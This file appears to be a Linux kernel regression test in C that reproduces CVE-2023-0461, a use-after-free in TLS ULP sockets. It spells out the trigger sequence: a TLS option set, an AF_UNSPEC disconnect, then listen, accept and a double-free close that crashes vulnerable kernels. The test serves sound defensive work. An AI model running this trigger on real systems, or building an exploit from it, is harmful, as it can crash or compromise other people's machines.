1 // SPDX-License-Identifier: GPL-2.0-or-later
2 /*
3 * Copyright (C) 2023 SUSE LLC Richard Palethorpe <[email protected]>
4 */
5 /*\
6 * [Description]
7 *
8 * Reproducer for CVE-2023-0461 which is an exploitable use-after-free
9 * in a TLS socket. In fact it is exploitable in any User Level
10 * Protocol (ULP) which does not clone its context when accepting a
11 * connection.
12 *
13 * Because it does not clone the context, the child socket which is
14 * created on accept has a pointer to the listening socket's
15 * context. When the child is closed the parent's context is freed
16 * while it still has a reference to it.
17 *
18 * TLS can only be added to a socket which is connected. Not listening
19 * or disconnected, and a connected socket can not be set to
20 * listening. So we have to connect the socket, add TLS, then
21 * disconnect, then set it to listening.
22 *
23 * To my knowledge, setting a socket from open to disconnected
24 * requires a trick; we have to "connect" to an unspecified
25 * address. This could explain why the bug was not found earlier.
26 *
27 * The accepted fix was to disallow listening on sockets with a ULP
28 * set which does not have a clone function.
29 *
30 * The test uses two processes, first the child acts as a server so
31 * that the parent can create the TLS socket. Then the child connects
32 * to the parent's TLS socket.
33 *
34 * When we try to listen on the parent, the current kernel should
35 * return EINVAL. However if clone is implemented then this could
36 * become a valid operation. It is also quite easy to crash the kernel
37 * if we set some TLS options before doing a double free.
38 *
39 * commit 2c02d41d71f90a5168391b6a5f2954112ba2307c
40 * Author: Paolo Abeni <[email protected]>
41 * Date: Tue Jan 3 12:19:17 2023 +0100
42 *
43 * net/ulp: prevent ULP without clone op from entering the LISTEN status
44 */
45
46 #include "sched.h"
47 #include "tst_test.h"
48
49 #ifdef HAVE_LINUX_TLS_H
50
51 #include <linux/tls.h>
52 #include <netinet/in.h>
53
54 #include "lapi/sched.h"
55 #include "lapi/socket.h"
56 #include "lapi/tcp.h"
57 #include "tst_checkpoint.h"
58 #include "tst_net.h"
59 #include "tst_safe_net.h"
60 #include "tst_taint.h"
61
62 static struct tls12_crypto_info_aes_gcm_128 opts = {
63 .info = {
64 .version = TLS_1_2_VERSION,
65 .cipher_type = TLS_CIPHER_AES_GCM_128,
66 },
67 .iv = { 'i', 'v' },
68 .key = { 'k', 'e', 'y' },
69 .salt = { 's', 'a', 'l', 't' },
70 .rec_seq = { 'r', 'e', 'c', 's' },
71 };
72
73 static struct sockaddr_in tcp0_addr, tcp1_addr;
74 static const struct sockaddr unspec_addr = {
75 .sa_family = AF_UNSPEC
76 };
77
78 static int tcp0_sk, tcp1_sk, tcp2_sk, tcp3_sk;
79
setup(void)80 static void setup(void)
81 {
82 tst_init_sockaddr_inet(&tcp0_addr, "127.0.0.1", 0x7c90);
83 tst_init_sockaddr_inet(&tcp1_addr, "127.0.0.1", 0x7c91);
84 }
85
cleanup(void)86 static void cleanup(void)
87 {
88 if (tcp0_sk > 0)
89 SAFE_CLOSE(tcp0_sk);
90 if (tcp1_sk > 0)
91 SAFE_CLOSE(tcp1_sk);
92 if (tcp2_sk > 0)
93 SAFE_CLOSE(tcp2_sk);
94 if (tcp3_sk > 0)
95 SAFE_CLOSE(tcp3_sk);
96 }
97
child(void)98 static void child(void)
99 {
100 tst_res(TINFO, "child: Listen for tcp1 connection");
101 tcp0_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
102 SAFE_BIND(tcp0_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr));
103 SAFE_LISTEN(tcp0_sk, 1);
104 TST_CHECKPOINT_WAKE(0);
105
106 tcp3_sk = SAFE_ACCEPT(tcp0_sk, NULL, 0);
107 TST_CHECKPOINT_WAIT(1);
108 SAFE_CLOSE(tcp3_sk);
109 SAFE_CLOSE(tcp0_sk);
110
111 tcp3_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
112 TST_CHECKPOINT_WAIT(2);
113
114 tst_res(TINFO, "child: connect for tcp2 connection");
115 TEST(connect(tcp3_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)));
116
117 if (TST_RET == -1) {
118 tst_res(TINFO | TTERRNO, "child: could not connect to tcp1");
119 return;
120 }
121
122 TST_CHECKPOINT_WAIT(3);
123 }
124
run(void)125 static void run(void)
126 {
127 const pid_t child_pid = SAFE_FORK();
128
129 if (child_pid == 0) {
130 child();
131 return;
132 }
133
134 tcp1_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
135 TST_CHECKPOINT_WAIT(0);
136
137 tst_res(TINFO, "parent: Connect for tcp0 connection");
138 SAFE_CONNECT(tcp1_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr));
139 TEST(setsockopt(tcp1_sk, SOL_TCP, TCP_ULP, "tls", 3));
140
141 if (TST_RET == -1 && TST_ERR == ENOENT)
142 tst_brk(TCONF | TTERRNO, "parent: setsockopt failed: The TLS module is probably not loaded");
143 else if (TST_RET == -1)
144 tst_brk(TBROK | TTERRNO, "parent: setsockopt failed");
145
146 SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts));
147 TST_CHECKPOINT_WAKE(1);
148
149 tst_res(TINFO, "parent: Disconnect by setting unspec address");
150 SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr));
151 SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr));
152
153 TEST(listen(tcp1_sk, 1));
154
155 if (TST_RET == -1) {
156 if (TST_ERR == EINVAL)
157 tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket");
158 else
159 tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS socket, but the errno is not EINVAL as expected");
160
161 TST_CHECKPOINT_WAKE(2);
162 tst_reap_children();
163 return;
164 }
165
166 tst_res(TINFO, "parent: Can listen on disconnected TLS socket");
167 TST_CHECKPOINT_WAKE(2);
168
169 tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0);
170 SAFE_CLOSE(tcp2_sk);
171
172 tst_res(TINFO, "parent: Attempting double free, because we set cipher options this should result in an crash");
173 tst_flush();
174 SAFE_CLOSE(tcp1_sk);
175
176 TST_CHECKPOINT_WAKE(3);
177 tst_reap_children();
178 sched_yield();
179
180 tst_res(TCONF, "parent: We're still here, maybe the kernel can clone the TLS-ULP context now?");
181 }
182
183 static struct tst_test test = {
184 .setup = setup,
185 .cleanup = cleanup,
186 .test_all = run,
187 .forks_child = 1,
188 .needs_checkpoints = 1,
189 .taint_check = TST_TAINT_W | TST_TAINT_D,
190 .needs_kconfigs = (const char *[]) {
191 "CONFIG_TLS",
192 NULL
193 },
194 .tags = (const struct tst_tag[]) {
195 {"linux-git", "2c02d41d71f90"},
196 {"CVE", "2023-0461"},
197 {}
198 }
199 };
200
201 #else
202
203 TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old");
204
205 #endif
206